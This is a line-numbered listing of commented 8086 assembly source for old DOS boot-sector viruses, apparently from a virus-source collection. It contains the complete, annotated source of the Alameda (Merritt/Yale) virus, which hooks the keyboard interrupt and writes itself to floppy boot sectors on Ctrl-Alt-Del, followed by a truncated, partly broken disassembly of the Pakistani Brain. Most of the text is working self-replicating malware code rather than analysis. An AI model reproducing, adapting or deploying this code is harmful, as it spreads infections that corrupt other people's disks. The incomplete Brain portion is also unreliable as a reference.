  1988.     MOV  AL,[HOST_3+2]       ;
  1989.     MOV  ES:[102H],AL        ;
  1990.                         ;
  1991.     POP  DS             ;! NOT ES !
  1992.     POP  BP             ;
  1993.     POP  DI             ;
  1994.     POP  SI             ;
  1995.     POP  DX             ;
  1996.     POP  CX             ;
  1997.     POP  BX             ;
  1998.     POP  AX             ;
  1999.                         ;
  2000.     RETF                ;
  2001.                         ;
  2002. OUR_END  LABEL     BYTE           ;
  2003.                         ;
  2004. CODE     ENDS                ;
  2005.     END  BEGIN               ;
  2006.  
  2007.  
  2008.  
  2009.  
  2010.  
  2011. ********************************************************************
  2012. -----------------------------------------------------------------
  2013. -----------------------------------------------------------------
  2014. ********************************************************************
  2015.  
  2016. The "Alameda Virus".
  2017. Also Called - Merritt Virus, Yale Virus, Peking Virus, Seoul Virus
  2018.  
  2019.  
  2020.  
  2021.     PAGE 64,132
  2022. ;-----------------------------------------------------------------------;
  2023. ; This virus is of the "FLOPPY ONLY" variety.                   ;
  2024. ; It replicates to the boot sector of a floppy disk and when it gains control
  2025.  
  2026.  
  2027. ; it will move itself to upper memory.  It redirects the keyboard      ;
  2028. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time    ;
  2029. ; it will attempt to infect any floppy it finds in drive A:.         ;
  2030. ; It keeps the real boot sector at track 39, sector 8, head 0    ;
  2031. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  2032. ; and should that area be used by a file, the virus  ;
  2033. ; will die.  It also contains no anti detection mechanisms as does the    ;
  2034. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1   ;
  2035. ; sector 9 because this is common to all floppy formats both single  ;
  2036. ; sided and double sided.  It does not contain any malevolent TROJAN ;
  2037. ; HORSE code.  It does appear to contain a count of how many times it    ;
  2038. ; has infected other diskettes although this is harmless and the count    ;
  2039. ; is never accessed.                                 ;
  2040. ;                                           ;
  2041. ; Things to note about this virus:                         ;
  2042. ; It can not only live through an ALT-CTRL-DEL reboot command, but this   ;
  2043. ; is its primary (only for that matter) means of reproduction to other    ;
  2044. ; floppy diskettes.  The only way to remove it from an infected system    ;
  2045. ; is to turn the machine off and reboot an uninfected copy of DOS.   ;
  2046. ; It is even resident when no floppy is booted but BASIC is loaded   ;
  2047. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,  ;
  2048. ; it activates and infectes the floppy from which the user is        ;
  2049. ; attempting to boot.                                 ;
  2050. ;                                           ;
  2051. ; Also note that because of the POP CS command to pass control to    ;
  2052. ; its self in upper memory, this virus does not to work on 80286     ;
  2053. ; machines (because this is not a valid 80286 instruction).          ;
  2054. ;                                           ;
  2055. ; The Norton utilities can be used to identify infected diskettes by ;
  2056. ; looking at the boot sector and the DOS SYS utility can be used to  ;
  2057. ; remove it (unlike the Brain).                                     ;
  2058. ;-----------------------------------------------------------------------;
  2059.                         ;
  2060.     ORG  7C00H               ;
  2061.                         ;
  2062. TOS LABEL     WORD           ;TOP OF STACK
  2063. ;-----------------------------------------------------------------------;
  2064. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  2065. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too   ;
  2066. ; 3. Redirect int 9 (keyboard) to ourself in top of memory      ;
  2067. ; 4. Jump to ourself at top of memory                      ;
  2068. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8    ;
  2069. ;-----------------------------------------------------------------------;
  2070. BEGIN:   CLI                 ;INITIALIZE STACK
  2071.     XOR  AX,AX               ;
  2072.     MOV  SS,AX               ;
  2073.     MOV  SP,offset TOS       ;
  2074.     STI                 ;
  2075.                         ;
  2076.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  2077.     MOV  DS,BX               ;
  2078.     MOV  AX,[0013H]          ;
  2079.     MUL  BX             ;
  2080.     SUB  AX,07E0H       ;   (7C00H+512)/16
  2081.     MOV  ES,AX               ;
  2082.                         ;
  2083.     PUSH CS             ;DS = CS
  2084.     POP  DS             ;
  2085.                         ;
  2086.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  2087.     JNE  B_10           ;
  2088.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  2089.                         ;
  2090. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  2091.     MOV  DI,SI               ;
  2092.     MOV  CX,512              ;
  2093.     CLD                 ;
  2094.     REP  MOVSB               ;
  2095.                         ;
  2096.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  2097.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  2098.     MOV  CX,128              ;
  2099.     REP  MOVSB               ;
  2100.                         ;
  2101.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  2102.                         ;
  2103.     PUSH ES   ;ES=HI         ;JUMP TO OUR HI CODE WITH
  2104.     POP  CS             ;   CS = ES
  2105.                         ;
  2106.     PUSH DS   ;DS=0          ;ES = DS
  2107.     POP  ES             ;
  2108.                         ;
  2109.     MOV  BX,SP     ;SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  2110.     MOV  DX,CX     ;CX=0          ;   DRIVE A: HEAD 0
  2111.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  2112.     MOV  AX,0201H       ;   READ SECTOR
  2113.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  2114.     JB   $              ;   HANG IF ERROR
  2115.                         ;
  2116.     JMP  JMP_BOOT       ;JMP 0000:7C00
  2117.                         ;
  2118. ;-----------------------------------------------------------------------;
  2119. ; SAVE THEN REDIRECT INT 9 VECTOR                     ;
  2120. ;                                           ;
  2121. ; ON ENTRY:   DS = 0                                  ;
  2122. ;        ES = WHERE TO SAVE OLD_09 & (HI)             ;
  2123. ;             WHERE NEW_09 IS         (HI)            ;
  2124. ;-----------------------------------------------------------------------;
  2125. PUT_NEW_09:                  ;
  2126.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  2127.                         ;
  2128.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  2129.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  2130.     MOV  CX,0004             ;
  2131.                         ;
  2132.     CLI                 ;
  2133.     REP  MOVSB               ;
  2134.     MOV  Word Ptr [9*4],offset NEW_09
  2135.     MOV  [(9*4)+2],ES        ;
  2136.     STI                 ;
  2137.                         ;
  2138.     RET                 ;
  2139.                         ;
  2140. ;-----------------------------------------------------------------------;
  2141. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                 ;
  2142. ;-----------------------------------------------------------------------;
  2143. ACK_KEYBD:                   ;
  2144.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  2145.     MOV  AH,AL               ;
  2146.     OR   AL,80H              ;
  2147.     OUT  61H,AL              ;
  2148.     XCHG AL,AH               ;
  2149.     OUT  61H,AL              ;
  2150.     JMP  RBOOT               ;
  2151.                         ;
  2152. ;-----------------------------------------------------------------------;
  2153. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                   ;
  2154. ; REASON UNKNOWN                                 ;
  2155. ;-----------------------------------------------------------------------;
  2156. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  2157.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  2158.     DB   27H,0,3,2      ;
  2159.     DB   27H,0,4,2      ;
  2160.     DB   27H,0,5,2      ;
  2161.     DB   27H,0,6,2      ;
  2162.     DB   27H,0,7,2      ;
  2163.     DB   27H,0,8,2      ;
  2164.                         ;
  2165. ;A7C9A   LABEL     BYTE           ;
  2166.     DW   00024H              ;NOT USED
  2167.     DB   0ADH           ;
  2168.     DB   07CH           ;
  2169.     DB   0A3H           ;
  2170.     DW   00026H              ;
  2171.                         ;
  2172. ;L7CA1:                      ;
  2173.     POP  CX             ;NOT USED
  2174.     POP  DI             ;
  2175.     POP  SI             ;
  2176.     POP  ES             ;
  2177.     POP  DS             ;
  2178.     POP  AX             ;
  2179.     POPF                ;
  2180.     JMP  1111:1111      ;
  2181.                         ;
  2182. ;-----------------------------------------------------------------------;
  2183. ; IF ALT & CTRL & DEL THEN ...                             ;
  2184. ; IF ALT & CTRL & ? THEN ...                          ;
  2185. ;-----------------------------------------------------------------------;
  2186. NEW_09:  PUSHF                    ;
  2187.     STI                 ;
  2188.                         ;
  2189.     PUSH AX             ;
  2190.     PUSH BX             ;
  2191.     PUSH DS             ;
  2192.                         ;
  2193.     PUSH CS             ;DS=CS
  2194.     POP  DS             ;
  2195.                         ;
  2196.     MOV  BX,[ALT_CTRL]       ;BX=SCAN CODE LAST TIME
  2197.     IN   AL,60H              ;GET SCAN CODE
  2198.     MOV  AH,AL               ;SAVE IN AH
  2199.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  2200.                         ;
  2201.     CMP  AL,1DH              ;IS IT A [CTRL]...
  2202.     JNE  N09_10              ;...JUMP IF NO
  2203.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  2204.     JMP  N09_30              ;
  2205.                         ;
  2206. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  2207.     JNE  N09_20              ;...JUMP IF NO
  2208.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  2209.     JMP  N09_30              ;
  2210.                         ;
  2211. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  2212.     JNE  N09_30              ;...JUMP IF NO
  2213.                         ;
  2214.     CMP  AL,17H              ;IF [I]...
  2215.     JE   N09_X0              ;...JUMP IF YES
  2216.     CMP  AL,53H              ;IF [DEL]...
  2217.     JE   ACK_KEYBD      ;...JUMP IF YES
  2218.                         ;
  2219. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  2220.                         ;
  2221. N09_90:  POP  DS             ;
  2222.     POP  BX             ;
  2223.     POP  AX             ;
  2224.     POPF                ;
  2225.                         ;
  2226.     DB   0EAH           ;JMP F000:E987
  2227. OLD_09   DW   ?              ;
  2228.     DW   0F000H              ;
  2229.                         ;
  2230. N09_X0:  JMP  N09_X1              ;
  2231.                         ;
  2232. ;-----------------------------------------------------------------------;
  2233. ;                                           ;
  2234. ;-----------------------------------------------------------------------;
  2235. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  2236.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  2237.     OUT  DX,AL               ;
  2238.     CALL DELAY               ;
  2239.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  2240.                         ;
  2241.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  2242.     INT  10H            ;
  2243.     MOV  AH,2           ;SET CURSOR POS 0,0
  2244.     XOR  DX,DX               ;
  2245.     MOV  BH,DH               ;   PAGE 0
  2246.     INT  10H            ;
  2247.                         ;
  2248.     MOV  AH,1           ;SET CURSOR TYPE
  2249.     MOV  CX,0607H       ;
  2250.     INT  10H            ;
  2251.                         ;
  2252.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  2253.     CALL DELAY               ;
  2254.                         ;
  2255.     CLI                 ;
  2256.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  2257.                         ;
  2258.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  2259.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  2260.     MOV  SI,offset BEGIN - 128    ;
  2261.     MOV  CX,128              ;
  2262.     CLD                 ;
  2263.     REP  MOVSB               ;
  2264.                         ;
  2265.     MOV  DS,CX     ;CX=0          ;DS=0
  2266.                         ;
  2267.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  2268.     MOV  [(19H*4)+2],CS      ;
  2269.                         ;
  2270.     MOV  AX,0040H       ;DS = ROM DATA AREA
  2271.     MOV  DS,AX               ;
  2272.                         ;
  2273.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  2274.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  2275.                         ;
  2276.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  2277.     MOV  AX,0F000H      ;
  2278.     MOV  DS,AX               ;
  2279.     CMP  Word Ptr [0E502H],21E4H  ;
  2280.     POP  DS             ;
  2281.     JE   R_90           ;
  2282.     INT  19H            ;   IF NOT...REBOOT
  2283.                         ;
  2284. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  2285.                         ;
  2286. ;-----------------------------------------------------------------------;
  2287. ; REBOOT INT VECTOR                                   ;
  2288. ;-----------------------------------------------------------------------;
  2289. NEW_19:  XOR  AX,AX               ;
  2290.                         ;
  2291.     MOV  DS,AX               ;DS=0
  2292.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  2293.     TEST AL,1           ;IF FLOPPY DRIVES ...
  2294.     JNZ  N19_20              ;...JUMP
  2295. N19_10:  PUSH CS             ;ELSE ES=CS
  2296.     POP  ES             ;
  2297.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  2298.     INT  18H            ;LOAD BASIC
  2299.                         ;
  2300. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  2301.                         ;
  2302. N19_22:  PUSH CX             ;
  2303.     MOV  AH,00               ;RESET DISK
  2304.     INT  13             ;
  2305.     JB   N19_81              ;
  2306.     MOV  AX,0201             ;READ BOOT SECTOR
  2307.     PUSH DS             ;
  2308.     POP  ES             ;
  2309.     MOV  BX,offset BEGIN          ;
  2310.     MOV  CX,1           ;TRACK 0, SECTOR 1
  2311.     INT  13H            ;
  2312. N19_81:  POP  CX             ;
  2313.     JNB  N19_90              ;
  2314.     LOOP N19_22              ;
  2315.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  2316.                         ;
  2317. ;-----------------------------------------------------------------------;
  2318. ;                                           ;
  2319. ;-----------------------------------------------------------------------;
  2320. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  2321.     JNZ  RE_INFECT      ;...RE INFECT
  2322.                         ;
  2323. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  2324.     JMP  0000:7C00H          ;
  2325.                         ;
  2326. ;-----------------------------------------------------------------------;
  2327. ;                                           ;
  2328. ;-----------------------------------------------------------------------;
  2329. RE_INFECT:                   ;
  2330.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  2331.     MOV  CX,00E6H       ;   OURSELF
  2332.     MOV  DI,SI               ;
  2333.     PUSH CS             ;
  2334.     POP  ES             ;
  2335.     CLD                 ;
  2336.     REPE CMPSB               ;
  2337.     JE   RI_12               ;IF NOT EQUAL...
  2338.                         ;
  2339.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  2340.                         ;
  2341. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  2342.     MOV  BX,offset TABLE          ;FORMAT INFO
  2343.     MOV  DX,0000             ;DRIVE A: HEAD 0
  2344.     MOV  CH,40-1             ;TRACK 39
  2345.     MOV  AH,5           ;FORMAT
  2346.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  2347.                         ;
  2348. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  2349.     JB   RI_80               ;
  2350.                         ;
  2351. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  2352. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  2353.     MOV  BX,offset BEGIN          ;TRACK 40H
  2354.     MOV  CL,8           ;SECTOR 8
  2355.     MOV  AX,0301H       ;WRITE 1 SECTOR
  2356.     INT  13H            ;
  2357.                         ;
  2358.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  2359.     POP  ES             ;
  2360.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  2361.                         ;
  2362.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  2363.     MOV  AX,0301             ;
  2364.     INT  13H            ;
  2365.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  2366.                         ;
  2367. RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
  2368.     INT  19H            ;...FLAG AND REBOOT
  2369.                         ;
  2370. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  2371.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  2372.     JMP  JMP_BOOT       ;
  2373.                         ;
  2374. ;-----------------------------------------------------------------------;
  2375. ;                                           ;
  2376. ;-----------------------------------------------------------------------;
  2377. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  2378.                         ;
  2379.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  2380.     MOV  BX,0040H       ;
  2381.     MOV  DS,BX               ;
  2382.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  2383.     JMP  N09_90              ;
  2384.                         ;
  2385. ;-----------------------------------------------------------------------;
  2386. ; DELAY                                          ;
  2387. ;                                           ;
  2388. ; ON ENTRY    AH:CX = LOOP COUNT                      ;
  2389. ;-----------------------------------------------------------------------;
  2390. DELAY:   SUB  CX,CX               ;
  2391. D_01:    LOOP $              ;
  2392.     SUB  AH,1           ;
  2393.     JNZ  D_01           ;
  2394.     RET                 ;
  2395.                         ;
  2396. ;-----------------------------------------------------------------------;
  2397. ;                                           ;
  2398. ;-----------------------------------------------------------------------;
  2399. A7DF4         DB   27H,00H,8,2
  2400.  
  2401. COUNTER_1     DW   001CH
  2402. ALT_CTRL DW   0
  2403.  
  2404. A7DFC         DB   27H,0,8,2
  2405.  
  2406.  
  2407.  
  2408.  
  2409. *********************************************************************
  2410. ---------------------------------------------------------------------
  2411. ---------------------------------------------------------------------
  2412. *********************************************************************
  2413.  
  2414. The "Pakistani Brain"
  2415.  
  2416.  
  2417. ;-----------------------------------------------------------------------;
  2418. ;                                           ;
  2419. ;-----------------------------------------------------------------------;
  2420. CODE     SEGMENT PUBLIC 'CODE'         ;
  2421.     ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
  2422.                         ;
  2423.          ORG  0         ;
  2424.                         ;
  2425. BPB      EQU  3+8       ;JMP + OEM_NAME
  2426.                         ;
  2427. ;-----------------------------------------------------------------------;
  2428. ; COPY OF BOOT SECTOR                                 ;
  2429. ;-----------------------------------------------------------------------;
  2430.                         ;
  2431.          DB   6 DUP (?) ;
  2432.                         ;
  2433. L0006         DB   ?         ;HEAD
  2434. L0007         DB   ?         ;SECTOR
  2435. L0008         DB   ?         ;TRACK
  2436.                         ;
  2437. L0009         DB   ?         ;HEAD
  2438. L000A         DB   ?         ;SECTOR
  2439. L000B         DB   ?         ;TRACK
  2440.                         ;
  2441. ;-----------------------------------------------------------------------;
  2442. ;                                           ;
  2443. ;-----------------------------------------------------------------------;
  2444.                         ;
  2445.     ORG  512            ;
  2446.                         ;
  2447. ;-----------------------------------------------------------------------;
  2448. ; (BOOT SECTOR TYPE FORMAT!)                          ;
  2449. ;-----------------------------------------------------------------------;
  2450. CONTINUE:     JMP  CONTINUE_2     ;023C 
  2451.                         ;
  2452. L0203         DB   'IBM X3.2'     ;OEM NAME AND VERSION
  2453.                         ;
  2454.          DW   512       ;BYTES PER SECTOR
  2455.          DB   2         ;SECTORS PER ALLOCATION UNIT
  2456.          DW   1         ;RESERVED SECTORS
  2457. L0210         DB   2         ;NUMBER OF FATS
  2458.          DW   112       ;NUMBER OF ROOT DIR ENTRIES
  2459.          DW   2D0H      ;SECTORS PER DISK
  2460.          DB   0FDH      ;MEDIA ID
  2461.          DW   2         ;SECTORS PER FAT
  2462.          DW   9         ;SECTORS PER TRACK
  2463.          DW   2         ;NUMBER OF HEADS
  2464.          DW   0         ;HIDDEN SECTORS
  2465.                         ;
  2466. ;---------------------------------------;
  2467.          DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  2468.  
  2469.          DB   2
  2470. DISK_PARM     DB   0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2
  2471.  
  2472. ;-----------------------------------------------------------------------;
  2473. ;                                           ;
  2474. ;-----------------------------------------------------------------------;
  2475. REBOOT:  INT  19H            ;REBOOT
  2476.                         ;
  2477. ;-----------------------------------------------------------------------;
  2478. ;                                           ;
  2479. ;-----------------------------------------------------------------------;
  2480. CONTINUE_2:                  ;
  2481.     CLI                 ;
  2482.     XOR  AX,AX               ;
  2483.     MOV  ES,AX               ;ES=0
  2484.     MOV  SS,AX               ;SS:SP = 0000:7C00
  2485.     MOV  SP,7C00H       ;
  2486.     MOV  DS,AX               ;
  2487.     MOV  BX,07C0H       ;INITIALIZE DISK POINTER (INT 1E)
  2488.     MOV  Word Ptr [78H],2FH  ;0000:0078 = (DWORD) 07C0:002F
  2489.     MOV  [7AH],BX       ;
  2490.                         ;
  2491.     MOV  DS,BX               ;DS = 07C0
  2492.     MOV  DX,[1EH]       ;GET DRIVE/HEAD          ;BOOT:001E !
  2493.     MOV  [20H],DL       ;SAVE DRIVE         ;BOOT:0020 !
  2494.     INT  13H            ;RESET
  2495.     JNB  C_10           ;
  2496.     JMP  ERROR_2             ;IF ERROR...'BOOT FAILURE'
  2497.                         ;
  2498. C_10:    MOV  SI,BPB              ;SI = BPB      ;BOOT:000B
  2499.     MOV  CX,[SI]             ;CX = BYTES PER SECTOR
  2500.     SHR  CH,1           ;WORDS PER SECTOR
  2501.     XCHG CH,CL               ;
  2502.     MOV  [2BH],CX       ;SAVE               ;BOOT:002B
  2503.     MOV  AL,[SI+5]      ;AL= NUMBER OF FATS ;BOOT:0010
  2504.     XOR  AH,AH               ;
  2505.     MUL  Word Ptr [SI+0BH]   ;TOTAL FAT SECTORS  ;BOOT:0016
  2506.     ADD  AX,[SI+3]      ;+RESERVED SECTORS  ;BOOT:000E
  2507.     ADD  AX,[SI+11H]         ;+HIDDEN SECTORS    ;BOOT:001C
  2508.     MOV  [24H],AX       ;SAVE IT       ;BOOT:0024
  2509.     MOV  BX,7E00H       ;
  2510.     CALL UI             ;
  2511.                         ;
  2512.     MOV  BX,ES               ;SAVE ES
  2513.     MOV  AX,70H              ;ES=0070H
  2514.     MOV  ES,AX               ;
  2515.     MOV  AX,32               ;32*
  2516.     MUL  Word Ptr [SI+6]          ;   ROOT DIR ENTRIES+
  2517.     MOV  CX,[SI]             ;
  2518.     ADD  AX,CX               ;                    BYTES/SECTOR
  2519.     DEC  AX             ;                                -1
  2520.     DIV  CX             ;                         /BYTES/SECTOR
  2521.     ADD  [24H],AX       ;ADD TO BYTES IN BOOT & FAT
  2522.                         ;
  2523.     MOV  CL,[2AH]       ;
  2524.     MOV  AX,[24H]       ;
  2525.     CALL READ_CLUSTER        ;(READ BOOT SECTOR ???)
  2526.                         ;
  2527.     PUSH ES             ;
  2528.     POP  DS             ;
  2529.     JMP  0070H:0000H         ;(PASS CONTROL TO ???)
  2530.                         ;
  2531. ;-----------------------------------------------------------------------;
  2532. ; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!)                   ;
  2533. ; ON ENTRY:   AX = ?
  2534. ;            ES:BX = DTA                              ;
  2535. ;        CL = ?                                  ;
  2536. ;        DS:SI = BPB                             ;
  2537. ;    DS:[0021] =                                 ;
  2538. ;-----------------------------------------------------------------------;
  2539. READ_CLUSTER:                ;02B3
  2540.     PUSH BX             ;
  2541.     PUSH AX             ;
  2542.                         ;
  2543.     MOV  AL,CL               ;
  2544.     MUL  Byte Ptr [2BH]      ;
  2545.     MOV  [29H],AL       ;
  2546.     POP  AX             ;
  2547.     MUL  Word Ptr [2BH]      ;
  2548.     DIV  Word Ptr [SI+0DH]   ;(BPB.SECTORS PER TRACK)
  2549.     INC  DL             ;
  2550.     MOV  [28H],DL       ;
  2551.     PUSH DX             ;
  2552.     XOR  DX,DX               ;
  2553.     DIV  Word Ptr [SI+0FH]   ;(BPB.NUMBER OF HEADS)
  2554.     MOV  [21H],DL       ;
  2555.     MOV  [26H],AX       ;
  2556.     POP  DX             ;
  2557. RC_10:   MOV  CL,[29H]       ;
  2558.     ADD  DL,CL               ;
  2559.     MOV  AX,[SI+0DH]         ;(BPB.SECTORS PER TRACK)
  2560.     INC  AX             ;
  2561.     CMP  DL,AL               ;
  2562.     JBE  RC_20               ;
  2563.     SUB  AL,[28H]       ;
  2564.     MOV  CL,AL               ;
  2565. RC_20:   MOV  AL,CL               ;
  2566.     MOV  DX,[26H]       ;
  2567.     MOV  CL,6           ;
  2568.     SHL  DH,CL               ;
  2569.     OR   DH,[28H]       ;
  2570.     MOV  CX,DX               ;
  2571.     XCHG CH,CL               ;
  2572.     MOV  DX,[20H]       ;
  2573.                         ;
  2574.     MOV  AH,2           ;READ SECTOR
  2575.     PUSH AX             ;
  2576.     INT  13H            ;
  2577.     POP  AX             ;
  2578.     JB   ERROR_2             ;IF ERROR...'BOOT FAILURE'
  2579.     SUB  [29H],AL       ;
  2580.     JBE  RC_90               ;
  2581.     CBW                 ;
  2582.     MUL  Word Ptr [2DH]      ;
  2583.     ADD  BX,AX               ;
  2584.     INC  Byte Ptr [21H]      ;
  2585.     MOV  DL,[21H]       ;
  2586.     CMP  DL,[SI+0FH]         ;
  2587.     MOV  DL,1           ;
  2588.     MOV  [28H],DL       ;
  2589.     JB   RC_10               ;
  2590.     MOV  Byte Ptr [21H],0    ;
  2591.     INC  Word Ptr [26H]      ;
  2592.     JMP  RC_10               ;
  2593.                         ;
  2594. RC_90:   POP  BX             ;
  2595.     RET                 ;
  2596.                         ;
  2597. ;-----------------------------------------------------------------------;
  2598. ; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY                   ;
  2599. ;-----------------------------------------------------------------------;
  2600. ERROR_1:                ;0339
  2601.     MOV  SI,01B3H       ;'Non-System disk'
  2602.     JMP  E_10           ;
  2603.                         ;
  2604. ;---------------------------------------;
  2605. ERROR_2:                ;
  2606.     MOV  SI,01C5H       ;'BOOT failure'
  2607. E_10:    CALL DISPLAY_STRING      ;
  2608.                         ;
  2609.     MOV  SI,01D4H       ;'Replace and press any key when ready'
  2610.     CALL DISPLAY_STRING      ;
  2611.                         ;
  2612.     MOV  AH,0           ;WAIT FOR A KEY
  2613.     INT  16H            ;
  2614. E_20:    MOV  AH,1           ;   THROW IT AWAY AND
  2615.     INT  16H            ;   WAIT FOR ANOTHER ONE BUT
  2616.     JNZ  E_20           ;   DONT GET IT
  2617.     JMP  REBOOT              ;
  2618.                         ;
  2619. ;-----------------------------------------------------------------------;
  2620. ; DISPLAY ASCIIZ STRING                               ;
  2621. ; ON ENTRY:   DS:SI = ASCIIZ STRING                        ;
  2622. ;-----------------------------------------------------------------------;
  2623. DISPLAY_STRING:                   ;0357
  2624. DS_00:   LODSB                    ;DISPLAY UNTIL NULL
  2625.     OR   AL,AL               ;
  2626.     JZ   DS_90               ;
  2627.     MOV  AH,0EH              ;
  2628.     MOV  BX,7           ;
  2629.     INT  10             ;
  2630.     JMP  DS_00               ;
  2631. DS_90:   RET                 ;0365
  2632.                         ;
  2633. ;-----------------------------------------------------------------------;
  2634. ;                                           ;
  2635. ;-----------------------------------------------------------------------;
  2636. UI:                     ;0366:
  2637.     MOV  CL,01               ;
  2638.     CALL READ_CLUSTER        ;
  2639.                         ;
  2640.     PUSH SI             ;
  2641.     MOV  DI,BX               ;
  2642.     MOV  AX,ES:[BX+1C]       ;
  2643.     XOR  DX,DX               ;
  2644.     DIV  Word Ptr [SI]       ;
  2645.     INC  AL             ;
  2646.     MOV  [002A],AL      ;
  2647.     MOV  SI,019D             ;
  2648.     MOV  CX,000B             ;
  2649.     REPZ                ;
  2650.     CMPSB                    ;
  2651.     JNZ  ERROR_1             ;'NON SYSTEM DISK'
  2652.     MOV  AX,ES:[BX+3A]       ;
  2653.     MOV  [0022],AX      ;
  2654.     MOV  DI,BX               ;
  2655.     ADD  DI,+20              ;
  2656.     MOV  SI,01A8             ;
  2657.     MOV  CX,000B             ;
  2658.     REPZ                ;
  2659.     CMPSB                    ;
  2660.     JNZ  ERROR_1             ;'NON SYSTEM DISK'
  2661.     POP  SI             ;
  2662.     RET                 ;
  2663.                         ;
  2664. ;-----------------------------------------------------------------------;
  2665. ;                                           ;
  2666. ;-----------------------------------------------------------------------;
  2667. L039D    DB   'IBMBIO  COM'
  2668.     DB   'IBMDOS  COM'
  2669.     DB   CR,LF,'Non-System disk',0
  2670.     DB   CR,LF,'BOOT failure',0
  2671.     DB   CR,LF,'Replace and press any key when ready',0
  2672.     DB   90H,90H,90H,55H,0AAH
  2673.  
  2674. ;-----------------------------------------------------------------------;
  2675. ;                                           ;
  2676. ;-----------------------------------------------------------------------;
  2677. L0400:   JMP  SHORT CONT_A        ;
  2678.                         ;
  2679.     DB   '(c) 1986 Basit & Amjads (pvt) Ltd ',0
  2680.                         ;
  2681. ;-----------------------------------------------------------------------;
  2682. ;                                           ;
  2683. ;-----------------------------------------------------------------------;
  2684. CONT_A:                      ;
  2685.                         ;
  2686. ;-----------------------------------------------------------------------;
  2687. ;                                           ;
  2688. ;-----------------------------------------------------------------------;
  2689. L0A5B    DB   'IBMBIO  COM'
  2690.     DB   'IBMDOS  COM'
  2691.     DB   CR,LF,'Non-System disk',0
  2692.     DB   CR,LF,'BOOT failure',0
  2693.     DB   CR,LF,'Replace and press any key when ready',0
  2694.     DB   90H,90H,90H,55H,0AAH
  2695.  
